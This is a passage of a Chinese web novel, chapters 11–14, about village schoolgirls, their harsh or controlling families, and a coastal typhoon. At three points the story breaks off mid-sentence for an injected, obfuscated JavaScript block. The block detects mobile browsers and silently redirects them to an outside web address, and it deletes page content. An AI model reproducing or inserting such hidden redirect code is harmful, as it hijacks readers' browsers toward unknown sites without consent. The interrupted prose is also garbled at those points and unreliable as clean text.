甄美说着已经重新坐到小板凳上看火,跳跃的橘色火光映在她娇嫩的脸上,像瓷娃娃般精致。 甄好侧头看着她一脸向往的表情,不知该如何回答,最后只是一言以概之:“还行。” “阿姐,我也要好好读书,像阿姐一样,去更大更远的地方看看。”甄美在温暖的火光下信誓旦旦地说出这句话来。 饭香在这时飘了出来,像在应和美好的憧憬,越飘越远。 “妈妈,我饿了!”甄黎奶声奶气的声音也随之传来。 “好好好,妈妈去叫姐姐给黎黎盛饭吃,好不好呀?”何允莲轻柔的嗓音落在姐妹俩耳朵里,带来一丝丝苦涩。 母亲的温柔从未给过她们。 饭桌上,何允莲追着活泼好动的甄黎从椅子上到门口,又追出了家门口,一口一个“黎黎”,耐心地哄着:“黎黎乖,黎黎要好好吃饭才能长高高……” 甄好和甄美安静地扒着饭,谁都没有开口说话。 饭后,姐妹俩回到自己的小屋里,趴在掉了漆的桌上写作业。 甄美才上二年级,没写几道题就开心心痒痒:“阿姐,我想看七仙女……” 《欢天喜地七仙女》热播的那一年,不知多少女孩被那漂亮的裙子和饰品偷走了心,甄美也是其中一个。 “要是能像仙女一样,自由自在地在天上飞翔,想去哪里便去哪里就好了。”甄美咬着笔杆幻想道。 甄好不忍心打破她对自由和美好的憧憬。 七仙女看似自由,实则满身是桎梏,连爱想爱的人都不能。 “我不在家的时候,饭都是你在做吗?”甄好答非所问。 “妈妈去做工挺累的。”甄美有些落寞地说道,“我做饭可以让妈妈多休息一会儿。” 甄好听得胸口有些发闷。 何允莲还在追着甄黎喂饭,家里那台大屁股彩色电视机就放在她们房间门口的小客厅。 甄好拉起妹妹的小手,蹑手蹑脚地来到客厅。她小心翼翼地给电视剧插上电,像以往的每一次那样,她负责打开电视剧,甄美同时负责按下静音键,姐妹俩用这个方法看了一部又一部热播剧。 也有被何允莲发现的时候,比如这一次。 “死丫头,又看电视!电费你们交啊?”何超莲端着甄黎没吃完的饭碗,大踏步冲进客厅。 几乎是下意识地,甄好再次拉起妹妹的手,两人撒开腿就往大门的方向跑去。 只要逃过当下,等何允莲气消了,她们就能躲开一顿臭骂。 何允莲嗓门大归大,却更像纸老虎,只会对着她们姐妹骂天骂地,从不会动手。 这是甄好这些年来摸索到的规律。 等她们再回到家的时候,何允莲已经带着甄黎回屋睡觉了。 厨房里的碗筷一个也没洗,姐妹俩分工干完活,甄美已经困得脑袋直点,像小鸡啄米似的。 “阿姐,我困了,想睡觉了。”甄美揉着眼睛看甄好。 “回屋睡吧。”甄好给她擦干净手,说道。 甄美刚躺下没多久就睡着了,甄好却没有睡意。 她坐在开着小台灯的书桌前,拿出纸笔,写下了一首百来字的现代诗。 11. 时家的不速之客 天气多变,心情也跟着多变。 希望有朝一日,我们都能勇敢地表达“不要”和“不喜欢”。 ——《甄好日记》 沿海城市的台风天是有台风假的,时序在回家的路上还一直可惜怎么这号台风正好于周末登陆,不然他们就可以多放两天假了。 一路上迎着风,他将自行车骑得飞快。 顺风让他有了飞翔的错觉,心早就随着风回到了家里。 他很喜欢回家,喜欢到家里的果园上蹿下跳,喜欢上山下河捉知了捉鱼虾。 乡野闲趣总是比县城里的游戏厅别有一番风味。 他的快乐同样止于见到母亲。 同一个时空,不同的烦恼每天都在发生。 时序在自家门口看到了一辆光看外表就价值不菲的黑色车子,他捏着双肩包带子的手不自觉微微用力。 见到儿子的一瞬间,时谙脸上闪过一丝不知所措,手不自觉地推搡着身边的男人:“我就不留你吃饭了。” 可两人之间的动作一看就不是普通关系,时序不是三五岁的孩童,一眼就能看出些许端倪来。 不过他什么都没说,却也不像平时那样礼貌地问候客人,只是一脸探究地看着那个陌生叔叔。 片刻的沉默过后,时谙率先反应过来:“小序,快向叔叔问好,不可以这么没礼貌,知道吗?” 从时序进门开始,裴延东的目光就没从他身上移开过,此时时谙开口,他才回过神来:“这就是小序啊,都长这么大了。” 他说着就要去摸时序的头,却被躲开。 “小序,不可以——” 时谙的话被时序打断:“不可以这么没礼貌,我知道。叔叔好,这下满意了吗?” 时序说完将书包一甩,跑进了自己的房间。 “这孩子……”时谙面上的窘迫更甚。 “没关系,小孩子都这样,慢慢来。”裴延东安抚她,“你和小序快准备吃饭吧,我先回去了,下次再来看你们。” 时谙没说什么,只是目送他走出家门,又看着他开车离开自己的视野。 她没想过这么早让时序跟裴延东见面的,可是人算不如天算。 方才如果不是她不小心弄脏了裴延东的衬衫,他就可以早些离开,就不会被时序撞上。 时谙回头不安地看了一眼儿子的房门,心头愁绪万千。 “小序,洗手吃饭了。”思索再三,时谙还是决定当作什么都没发生,权当裴延东只是一个普通的客人。 让她没想到的是,时序出现在饭桌上时竟是一副若无其事的样子,那神情看起来无比坦然。 时谙试探性地给他夹了一块排骨:“妈妈特意做了你爱吃的糖醋排骨。” 时序没有拒绝,夹起碗里的排骨就往嘴里送。 若要说他与平时有什么不一样,那便是话少了,不再像以往的每次放学,叽叽喳喳地跟她分享学校趣事。 时谙的心忍不住一沉,半晌才踌躇道:“小序,刚刚……” 时序却打断了她:“妈,吃饭吧,我好饿。” 这不是时序第一次见到那个男人。 他低下头默默地扒饭,不想去回想那些刻意被自己隐藏起来的记忆。 鄢家。 饭桌上,除了鄢成舟故意发出的声响,安静得可怕。 “云书,在学校还习惯吗?”是鄢识先开口打破的沉寂。 “挺好的,爸。”鄢云书垂下眼眸,慢吞吞地吃着饭菜。 明明母亲做的饭菜色香味俱全,她吃起来却味同嚼蜡。 “听你们老师说,下周有个物理竞赛,有把握吗?”鄢识又问道。 他是闽大的大学教授,与安南三中的不少老师都是同学,想打听点什么都很方便。 在刺桐村这样的小地方,能出个大学生就已经是光耀门楣的大事,遑论大学教授。 是以,鄢识备受乡里乡亲们的尊敬和爱戴。 “爸——”鄢云书欲言又止。 “怎么不说了?”鄢识凌厉的目光扫过女儿的脸,等待着她的下文。 鄢云书在他的威严下吞回了真正想说的话,改口说:“我会努力的,爸。” 其实她不想参加物理竞赛,她根本就不喜欢物理,可是她不敢说。 “光努力不够,要给自己定一个目标。”鄢识给她夹了一只鸡腿放到碗里,“比如要有拿第一名的野心。” 鄢云书看着父亲家给自己夹的鸡腿,觉得心口有些堵得慌。 她不爱吃鸡腿,可她从未表达过,每一次都乖乖把鸡腿吃得干干净净,久而久之,父母都认为她喜欢。 就像她讨厌没完没了的学习和竞赛,但她不说,父亲也就认为她喜欢。 她是父亲眼里的好女儿,是老师眼中的好学生,是别人家的孩子,独独不是她自己。 “知道了,爸。”她像每一次一样,默默地承受父亲施加的压力。 “吃饭呢,别说这些有的没的了。”许君瑶说着给女儿夹了一筷子胡萝卜,又倒了一杯鲜榨橙汁,“云云,喝这个,有营养。” 许君瑶是市里的妇产科医生,这个周末难得碰到休假。 “谢谢妈。”鄢云书抬头冲她笑了笑。 “成仔,你也喝一杯,不够还有。”许君瑶又对儿子说。 “我不喜欢喝这个,我要喝可乐,可乐!”鄢成舟却不买账。 “可乐喝多了对身体不好,乖,喝橙汁。”许君瑶说着又把装满橙汁的杯子往他手边推了推。 “说了不喝就是不喝!”鄢成舟用力一推。 “砰”的一声,玻璃杯摔在地上,橙黄色的汁液流了一地。 许君瑶见状赶紧俯身就要收拾,却被鄢识叫停:“阿瑶,谁打碎的谁收拾。” 鄢成舟却不为所动。 鄢识的声音很平静:“鄢成舟。” 看着父亲不怒自威的模样,鄢成舟这才不情不愿地去拿工具扫地。在这个家里,能够制得住他的人也只有鄢识了。 对于这种场面,鄢云书早就见怪不怪了,在其他人因为一杯橙汁而弥漫起看不见的硝烟时,她依旧吃着自己不爱吃的鸡腿和胡萝卜,喝着自己讨厌的橙汁。 哪怕她又长大了一岁,也不敢像弟弟一样大声说“不喜欢”。 她艰难地吃完碗里的食物,才敢说:“爸、妈,我吃饱了。” 然后等来她熟悉的两句话。 许君瑶说:“碗放着,妈来洗。” 鄢识说:“爸爸给你买了两套物理竞赛题,放在书房了,你去看看。” “知道了。”鄢云书乖巧地应道。 距离甄家两公里之外的周家爆发了不一样的家庭战争。 “我不想读书了!我要跟着堂哥去外省打工!”周容安在饭桌上摔了筷子。 周淳芮夹红烧肉的手一抖,心怀同情地看了一眼哥哥。 果不其然,大人的怒火劈头盖脸:“你个混账玩意儿,你再说一遍?你才初二,不上学你能干什么?啊?给别人扶梯子都嫌你个子矮。” “反正我就是不想读书了!”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552283|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容安丝毫不畏惧父亲,梗着脖子反驳。 周振海气得声音都在发抖:“这学你上也得上,不上也得上。你当老子的钱是大风刮来的啊?学杂费交都交了,你跟我说你不上了?学校给退吗?啊?你个死脑筋的!你也不看看乡里多少小孩想上学都没机会,不知道珍惜的混账东西!” 周振海越骂越来气,骂到最后手指直接指到了周容安的鼻子上。 眼见情况不对劲,周淳芮忙放下准备继续夹肉的筷子,坐到周振海身边,挽着他的胳膊撒娇道:“爸,我有事求您您都看不到我,我不开心了。” 她一边说一边对周容安使眼色,让他赶紧先消失,毕竟事缓则圆。 周容安深知妹妹最有办法对付父亲,接收到她传递的信息立刻溜之大吉。 周振海最疼这个女儿,见她一副受了委屈的模样就心疼得不行:“芮芮你可冤枉爸爸了,你刚刚求爸爸什么了?” 莫非是他老了,他真没听见。 “就是我……”周淳芮迅速头脑风暴,方才她那样说只是为了先稳住父亲,实际上她什么都没求,这会儿被周振海这么一问,“我”了半天都没说出下文。 岂料周振海直接给她递了答案:“芮芮是不是又想买漂亮的新衣服了?” “啊!”周淳芮顿时眉开眼笑,“对对对,天气冷了,我没衣服穿了。” “要多少钱?”周振海说着就去掏钱包。 周淳芮看着他那鼓鼓囊囊的钱包,试探性地伸出两根手指:“二……” 她还没说完周振海就抽出两张百元大钞递到她手里:“二百元是吧?来,拿去,喜欢什么咱就买什么。” 周淳芮:“……” 其实她想说的是二十元。 但既然她爸如此大方,她也就却之不恭了。 “谢谢爸,爸最好了!”周淳芮说着在周振海脸上重重地亲了一口。 一直保持沉默的周容堇幽幽开口:“爸,我也没衣服穿了。” 周振海看了他一眼,略显嫌弃地说道:“去去去,一边去。男孩子买那么多衣服干什么,做花脚蚊子啊?” 周容堇:“……” 他早知自己在这个五口之家是最没地位的,但没想到会没地位到此等地步。 周淳芮憋笑憋得脸都红了,得到来自弟弟的一记大白眼。 吃过晚饭又歇了会儿,周淳芮感到有些无聊,便一个人溜达到了甄家。 她绕到甄好的房间,轻轻敲了四下窗户。 这是她们三人之间的暗号。 甄好刚好写完那首现代诗的最后一个字,听到声音蹑手蹑脚地出了房间。 “怎么了?”她有些意外周淳芮这个时间点来找自己。 “云云肯定又被她爸关起来做题了。”周淳芮光想想都觉得鄢云书命苦,“做题多无聊啊,我们去找她吧!” “好。”甄好对此没有异议。 鄢云书家离她们的家有点距离,走路需要十五分钟的样子。 两人边聊边走,时间一下子就过去了。 她们站在鄢家的小院外,果真看见鄢云书的房间透出灯光来。 走到窗口下,周淳芮关掉一路用来照明的便携手电筒。 她踮起脚尖,像刚刚敲甄好的窗口那样敲了四下。 她们等了片刻,见没等来鄢云书,周淳芮又敲了四下。 “难道是没听到?”她疑惑地自言自语。 就在她准备敲第三次的时候,一道略显严肃的声音在她们身后响起:“你们在干什么?” 12. 不需要跟我道歉 今日台风即将登陆,树与电线杆都开始飘摇。 破碎的碗碟就如破碎的童年,在风声里渐渐远去,却从不会消失。 ——《甄好日记》 两人被突然响起的声音吓了老大一跳,周淳芮握在手里的手电筒差点掉在地上。 看清来人是谁后,周淳芮立刻笑容乖巧地喊人:“鄢教授晚上好。” 甄好也跟着喊:“鄢教授好。” 鄢云书的父亲喜欢被人这样叫,她们是再清楚不过的。 果然,鄢识神色稍缓,却依旧目光如炬,一一扫过两个人的脸,眉头紧锁,一脸严肃地问道:“你们找云书?” “对啊,云云学习好,我们想请教她一些题目。”周淳芮随口扯了个谎。 鄢识对鄢云书十分严格,她们自然知道,只有这样说他才不会觉得自己的女儿玩物丧志。 然而鄢识说出口的话极尽伤人:“周同学,希望你以后少来找我们家云书,她将来是要考全国排名前三的大学的,而你……” “爸!”鄢云书及时出现,制止了他后面更伤人的话,“我跟她们说两句就继续回去做题,可以吗?” 鄢识冷着一张脸,但到底还是松口了:“别聊太久。” “知道了,爸。”鄢云书对父亲说过最多的话就是“知道了”三个字。 见鄢识转身回到屋里,鄢云书才小跑着来到甄好两人面前。 “对不起啊,芮芮,你别听我爸说的。”鄢云书向周淳芮道歉。 “嗐,多大点事。”周淳芮无所谓地摆摆手,“云云,你没错,不需要跟我道歉。” “可是……”鄢云书还是觉得心里过意不去。 “真的没事。”周淳芮再度强调,“你没错。” “芮芮,我突然想起来我有事需要你帮我。”甄好看了一眼一脸为难的鄢云书,话却是对着周淳芮说的,“很急。” “啊?”周淳芮看了看鄢云书,又看了甄好一眼,“那云云,我们先走了啊。” “好,周日下午老地方见。”鄢云书不着痕迹地松了一口气。 她说的老地方是小镇人民都知道的那棵巨大的榕树下。 “好呀好呀,周日见!”周淳芮一边走一边回头冲她招手。 鄢云书看着两人离去的身影,有些落寞地叹了口气,而后认命地转身回屋继续做题。 往家走的时候,周淳芮兴致勃勃地问道:“好好,你有什么急事需要我帮忙啊?” “芮芮,其实我没有什么急事需要你帮忙的。”甄好道。 “那你为什么……”说到一半,周淳芮才猛地反应过来,“哦,我知道了,瞧我这脑子,差点给云云添麻烦了。” 她只想着自己无聊,想找鄢云书解闷,却从未替对方想过。 “好好,幸好有你,不然云云肯定该挨骂了。”周淳芮的语气有些懊恼,“我怎么就想不到这么多呢?” 甄好侧头看了她一眼。 其实她很羡慕周淳芮对很多事情都会慢半拍的性格,不敏感的人内心总是明亮些,也快乐些。 “没事的,云云不会怪我们的。”甄好垂下头仔细看路,避免踩到什么突然窜出来的小动物,“我们回家吧。” 楼紫巷。 楼家。 喻玲三人到达楼家的时候,楼知夏一家四口正好吃完晚饭。 “你们等我一下,我洗个碗就和你们出去。”楼知夏冲坐在客厅里的好友们说道。 “夏夏,你去吧,我来洗碗。”楼珈宁拦住她走向厨房的脚步。 “阿姐,可中午的碗也是你洗的。”楼知夏没有马上答应。 楼珈宁是养女这件事不是什么秘密,她被领养的时候已经七岁,早就拥有记忆。 彼时同样是七岁的楼知夏很开心自己和别人一样有阿姐了,经常拉着她到处玩。 楼母生楼知夏的时候身子受了严重的损伤,这辈子都没机会再怀孕,领养楼珈宁却是楼家夫妻意料之内的事情。 包括楼珈宁也心知自己来到楼家的使命是什么。 相比心思单纯的楼知夏,她要显得更沉稳冷静,心事也更多。 楼知夏不是那种恃宠而骄的性格,长大后知道姐姐是养女非但没有欺负她,反而更加心疼她。 就连家务分工都是楼知夏主动提出来的,她不希望阿姐因为养女身份而觉得在楼家低人一等。 “咱们之间还分一次两次洗碗吗?”楼珈宁笑着推了推她,“去吧,家里交给阿姐。” 楼母身体不好,每天给她们姐妹俩做饭已经很辛苦了,楼父则早出晚归,支撑起整个家庭的开支。 好在两个女儿都很懂事,不论是学习还是生活都不太需要他们操心。 楼母晾完衣服回来看到姐妹俩温馨有爱的一幕,满是欣慰。 她也赶忙道:“是啊,你快去吧,别让你同学们等久了。家里有我们呢。” “那好吧。”听到母亲也这样说,楼知夏这才放心地走去客厅,和她们三人先后出了家门。 路过楼紫巷1010号时,楼知夏不自觉多看了两眼。 屋里没有亮灯,秋先生不在。 “夏夏,你看什么呢?”喻玲发现楼知夏一直盯着某一处看,不禁有些害怕,“你别吓我。” 楼知夏顿时回过神来:“没看什么啦,你胆子怎么那么小?” 她从未告诉过别人自己与秋家的关系,毕竟秋家的地位是那样尊崇,说出来也不会有人信。 “夏夏是在看秋先生的家?”欧阳雅美眼睛尖,捕捉到了楼知夏目光所在之地,“秋先生挺儒雅的,就是很少在家。” “嗯,对啊,我偶尔会听他唱南音,虽然听不懂,嘿嘿。”楼知夏附和道。 “我也听不懂,不过听起来蛮有味道的。”欧阳雅雅接话道。 “听说秋先生最近在收徒?”欧阳雅美插话。 “你是听说那个谁也去了秋先生那里学南音吧?”喻玲调侃道。 “玲子,你又瞎说!”欧阳雅美突然不好意思起来。 “虽然但是,姓陆的那小子其实长得真可以,别不好意思承认喜欢他。”喻玲轻轻用手后肘撞了一下欧阳雅美。 陆星湛在学校还挺出名的,不过是以体弱多病出名的,人称“中药小王子”。 很中二的外号,却很符合他。 只要在他方圆三米之内,必然能够闻到他身上淡淡的草药味。 不难闻,却也谈不上好闻。 学校里人人都在猜测他到底患的是什么病,但无一不是没有结果。 “阿姐,要我说啊,你还是别喜欢他了。”欧阳雅雅真诚地建议道。 “为什么这么说?”欧阳雅美看向她。 “你看他那身体,太孱弱了。”欧阳雅雅口不择言道,“万一哪天人突然不在了,阿姐你该多伤心。” “欧——阳——雅——雅——”欧阳雅美拖长音调,语气不善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552284|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喊她的名字,“你信不信我掐死你?啊?” 在她一个字一个字喊自己的时候,欧阳雅雅便立刻快速朝前跑去,不给她收拾自己的机会。 “我开玩笑的啦,女侠饶命!”她一边跑一边求饶。 “别闹了,别闹了。”喻玲跟在她们后面小跑,“我家快到了,一会儿雅雅你可是主角。” 楼知夏这才反应过来她们找自己是所为何事,她很想退出这场针对甄好的恶作剧,可喻玲已经在前方喊她:“夏夏,快过来呀,我在家里准备了很多好吃的。” 不得已之下,她只好硬着头皮跟上。 甄好不知道别人的周末是怎么过的,但肯定不是像她一样度日如年。 周六一大早,她便早早起床准备一家五口的早饭。 其实她很困,很想睡到自然醒,可连这样小小的心愿她都无法达成。 在家里,她不能睡懒觉,时间久了,她从不能睡懒觉变成不敢睡懒觉。只要时间一到,她就会从睡梦中惊醒,生怕下一秒就听到母亲的大嗓门。 而妹妹甄美也会在她洗漱完毕时,睁着迷蒙的双眼晃到她身边:“阿姐,我好困。” 已经洗好脸的甄好困意消散了不少:“你再去睡会儿,妈要是醒了我去叫你。” 甄美却摇了摇头:“不行,等下妈会骂你的。我刷完牙洗完脸就去帮阿姐忙,阿姐等我哦。” “好。”也只有在这种时候,甄好才对回家有那么一点期待。 她一边讨厌着妹妹,一边又庆幸有妹妹相陪。 这种复杂的情感困扰了她很多年,她唯一可以确定的是,她希望自己和妹妹都能够越来越好,脱离这个小地方,去到更好的城市生活。 一高一矮两道身影在晨光熹微里屋前屋后地跑着,连笑都不敢太大声,生怕吵醒还在梦乡的母亲和弟弟。 甄好却爱极了这种幸福的宁静,没有车水马龙叨扰人心,只偶尔传来几声鸡鸣鸟叫,像极了陶先生写的世外桃源。 只可惜这样的平静没有持续多久,一声刺耳的碗碟破碎声打破了如镜的水面。 紧接着,何允莲骂骂咧咧的声音响起:“大早上的干什么?拆家呢?啊?吵醒你们弟弟了知不知道?” 事实上,甄黎依旧熟睡,并未被声响吵到。 何允莲来到厨房,看到地上的碎瓷片,顿时就恼了,嗓音又拔高几分:“做个饭你们摔碗?不知道拿稳点?碗不要钱吗?啊?真是钱没往家里拿一分,花倒是上赶着。起开,碍手碍脚的!” 她走近灶台,看着已经做好的饭菜,脸色非但没有缓和,反倒变本加厉:“这粥都快变饭了,让人怎么吃?啊?做了这么久的饭,连粥都煮不好,真是白养你们了!” 甄美有些害怕地戳在厨房门口,一句话都不敢说。 不管发生什么,不管她们姐妹俩说什么,换来的只会是何允莲更加愤怒的谩骂。 甄好亦是什么都没说,只是默默地清扫好碎片,便自觉地去喂养家禽了。 看着鸭子们争先恐后吃食的时候,她喃喃自语:“你们知道自己的命运就是养肥了然后被宰杀吗?” 一定不知道吧,否则为什么吃得这样开心? 可话又说回来,人明明知道自己会死,为什么还要那样努力地活着? 甄好想不明白。 她抬头看着天,心里的恐惧随着台风云的积聚而慢慢加深。 台风登陆的时刻,便是甄家难过之时。 13. 你那没用的爸爸 台风登陆的那一刻,我的心前所未有的潮湿。 ——《甄好日记》 甄好提着喂鸭子的空桶往前院走去时,迎面碰上了甄奶奶。 “奶奶起这么早啊。”甄奶奶从小就疼她们,姐妹俩也跟她感情好,“怎么不多睡会儿?” “年纪上来了,睡不了那么多咯。”甄奶奶看了一眼她手里的空桶,又望了一眼大房的方向,意有所指道,“哪像有些人啊,一点也没有做人妈妈的样子,都什么时候了还在睡,孩子不用吃饭能自己长大是不是?” 她故意提高的音量是说给谁听的,不言而喻。 何允莲一向与甄奶奶不睦,甚至连邻里邻外都看得出来,更别说自家人。 甄奶奶说完,又教甄好:“你还在长身体,早上就该多睡会儿,喂鸭子这种事交给你妈就好了。做人家儿媳妇没有个儿媳妇样,真是不像话!” 饶是对着孙女,甄奶奶也丝毫不掩饰对何允莲的不满。 甄好早就习惯了,婆媳关系好像自古就是个难题,不仅电视剧不厌其烦地上演着,生活中只会更离谱。 何允莲显然听见了甄奶奶的念叨,嗓门比平时又高了几分:“老人家该吃吃,该睡睡,别瞎操那么多心。” 她话音刚落,一阵狂风袭来。 风卷着前庭那几棵高大的龙眼树,似是要将其连根拔起。 甄家的房子还是传统的闽市古厝,红墙红瓦,雨还未至风先将瓦片吹动了位置,窸窣作响。 台风快要登陆了。 “阿砰,快去拿水桶准备接雨水。”甄奶奶也听到了瓦片的异动,忙指挥甄好。 听见奶奶又叫自己的小名,甄好不满道:“奶奶,不要叫我的小名。” “好好好,不叫不叫。”甄奶奶笑呵呵地轻拍了一下她的后背,“好好乖,多拿几个盆啊桶的,叫上阿美一起帮忙。” “可怜我那刚长出来的小菜苗要遭殃了。”甄奶奶不无可惜地说道,“还有那刚结了小果的南瓜……” 她一边摇头一边走去菜园子,想看看能不能做点什么以降低风害。 甄好看着奶奶步履轻盈的身影,却无端感到一股无形的压力正沉沉地压在老太太肩上。 她快步跑进屋,去几个屋里转了转后,果真在偏房看到顶上有块瓦片移了位,一丝光亮直直地穿过那处缝隙。若是下了雨,将变成连线的珠子,滴滴答答落个不停。 甄好将手里的洗脸盆放到缺口正下方,以作接雨水用。 “阿姐,大厅的屋顶也有一处。”甄美的声音不远不近地传来。 “来了。”确定放置的位置没有偏移后,甄好跑向大厅。 姐妹俩将全屋都检查完毕后,这才回到厨房准备吃早饭。 甄好的眉头却始终没有松开,她根本没有胃口。 她最期待也最害怕的天气还是要来了。 期待是因为台风有台风假,但前提得是在学校;至于害怕……根本不用多说,头顶随时可能被吹飞的瓦片足以说明她所有的恐慌源自何处。 连一个遮风挡雨的安稳住所都没有,要她如何安心? 潮湿的屋檐下,见证了两个女孩子潮湿的童年。 下午14时,第18号台风“赤荔”在台市幽兰县沿海登陆,随后穿过台岛,于闽市沿海第二次登陆,登陆时强度达台风级。多个省份受台风“赤荔”影响,未来24小时降雨量将持续上涨,防洪等级一升再升。 姐妹俩刚看新闻了解完最新台风动向,老式彩电的屏幕就彻底暗了下去。 停电了。 甄好已经见怪不怪了。 停电是台风天的必修课,不停反倒会让她觉得不习惯。 她听着偏房和大厅里滴滴答答的雨水,第一次觉得像是旋律优美的曲子,有些催眠。 榉头那间屋子现在是姐妹俩住的房间,但严格说起来这不是属于她们的。 甄奶奶一共有三个儿子,两个女儿,除了小儿子,其他孩子均已成家。 榉头是甄奶奶小儿子的房间,也就是甄好姐妹俩的三叔。他一年到头都在外面跑业务,只有春节才会回家住几天。 停电外加风大雨大,甄好和甄美坐在房间门口,看着雨从天井落下,一滴一滴,在地上跳跃又回落。 幸好这次台风并未对处于沿海内陆的闽镇造成什么实质性伤害,甄好担忧的事情也没有发生。 她总在台风的夜里做噩梦,梦见家里的屋顶整个被大风掀翻,瓢泼似的大雨倾倒而下,将她整个人埋在浑浊的水下,强烈的窒息感包裹住她的眼耳口鼻,她却怎么挣扎都无济于事。 无法浮出水面,也无法醒来。 人类恐怖某件事情总归是有原因的,甄好怕雨,也怕水。 怕雨和怕水都跟人命有关,都是她不愿回想的悲惨往事。 任何事都有雨过天晴的时候,逝去的人却再也不可能回来。 周日这天,风停雨歇,彩虹高高地挂在天边。甄好却没有心情欣赏,而是像以往的每个周末,将供奉爷爷牌位的桌子仔仔细细地抹一遍。 做完这一切后,她会站在甄爷爷的遗像前看上许久,任凭回忆发散,任由泪水滑落。 “爷爷,我要去上学了,我会努力的。”离开前,甄好在心里默默说道。 学校周日有安排晚自习,从晚上七点上到十点钟。 她必须在四点半左右从家里出发,才能有足够的时间赶上。 眼看时间已经来到四点,何允莲却丝毫没有要给甄好生活费的举动,她不禁有些着急。 她不喜欢这种被动等待的感觉,无助又无力。 再有二十分钟,她就该前往榕树下和鄢云书她们集合了。 她只能硬着头皮找到何允莲:“妈,这周的生活费……” 何允莲不耐烦地瞪了她一眼,一开口就是抱怨:“生活费,生活费,张口闭口就是钱!你怎么不问你那没用的爸爸要?!这个月一分钱都没有寄回家,我一个人要养你们三张嘴,真是不知道上辈子造了什么孽,要嫁给你那个死鬼老爸!” 甄好双手紧紧握成拳,红着眼圈听她一句接一句的数落,却半个字都说不出口。 父亲甄东成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552285|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常年在外省讨生活,说得好听点是做点小生意,其实连养家糊口都困难。 家里条件不好,甄好心里一直很清楚,可她就是憋着一口气,想要靠读书改变窘迫的生活,所以一次次咬紧牙关去应对任何可能出现的困难。 “妈,我上学快来不及了……”面对何允莲的怨言,甄好选择过滤掉,只争取自己想要的,“能不能先给我二十块钱,求你了……” 二十块钱,是甄好一周的生活费,包括一日三餐和饮水,也包括应付一切可能出现的意外状况。 比如自行车破胎维修。 她要用二十元承受生活中的所有常规或不常规的事件。 十三岁的甄好,因为生活的窘迫,因为与他人条件的差距,早早就萌生对成功和金钱的渴望。 “拿去,拿去!”何允莲将二十元纸币粗暴地塞进甄好手中,脸上的表情只有嫌弃,再无其他。 甄好努力忽视她的表情,用力攥紧那有些旧了的纸币,咬着嘴唇说道:“谢谢妈,我先去上学了。” 她抬脚走后,何允莲又在她身后说了些什么她已经不想再去听。 有些话,只要不听,心里多少会好受些。 因为要生活费,甄好耽搁了几分钟,四点三十五分才到达榕树下。 这是她第一次迟到,周淳芮看她脸色有些不好,有些担忧地问道:“好好,你没事吧?” 甄好摇了摇头:“我没事。云云呢?” 说到鄢云书,周淳芮也觉得奇怪:“咱们仨就数你俩最有时间观念了,结果今天你们一个两个都迟到。” “可能有什么事耽误了吧,我们再等等。”甄好看了一眼MP3上的时间,“还早,不着急。” “嗯,也只能这样了。”周淳芮坐在单车座椅上,百无聊赖地伸手扯了一片头顶的榕树叶。 经过一场大雨的洗礼,叶子绿得发亮,上面还有晶莹的水珠,滑落到她手里,凉凉的。 “好好,我又新得了几首好听的歌,等到了学校,我们去找店老板帮忙下载!”等待的间隙,周淳芮没话找话说。 “好啊,听你的。”甄好对听歌没有特别的喜好,她只是喜欢将世界用歌声隔绝的那种感觉。 “云云怎么还不来啊?”周淳芮不断地往她们来时的路张望着,“该不会出什么事了吧?” 她们三个只有周淳芮有一部小灵通手机,偏偏她忘记充电了,没办法给鄢云书家的座机打电话。 甄好也有些着急起来。 “这都五点钟了,真是急死人了。”周淳芮明显开始变得不安。 甄好提出猜测:“可能是鄢教授开车送她去学校了吧。” 鄢云书家是十里八乡难得拥有小轿车的家庭,没有给她配备手机,是因为鄢识认为那东西会影响女儿学习。 “的确有可能。”周淳芮赞同地点了点头,并提议,“那我们先走?也许云云已经到学校了也说不定。” 甄好同意:“先这么办吧。” 没能等到鄢云书的两人一前一后骑着单车,在风的拥抱下,蹬向未知的远方。 14. 睡觉都那么张扬 今日天气很好,心情也很好。 我会永远记住那支没有笔帽的黑色水性笔。 ——《甄好日记》 由于下过雨,甄好两人比平时骑得慢一些,又因为多等了鄢云书半个小时,所以到达寝室的时候已经是晚上六点半。 她们匆匆忙忙地上了个厕所,晚饭看样子是来不及吃了,周淳芮只好从自己的柜子里拿出三个面包和三瓶牛奶,并递给甄好一份:“先拿这个对付一下,下了晚自习再去食堂吃点夜宵。” 甄好有些犹豫,没有马上接。 “好好,愣着干吗?”周淳芮又把面包和牛奶往她面前推了推,“再不快点要迟到了。我也给云云带了一份,不知道她吃没吃晚饭。” “那好吧,晚上我请你吃夜宵。”甄好接过东西的同时这样说道。 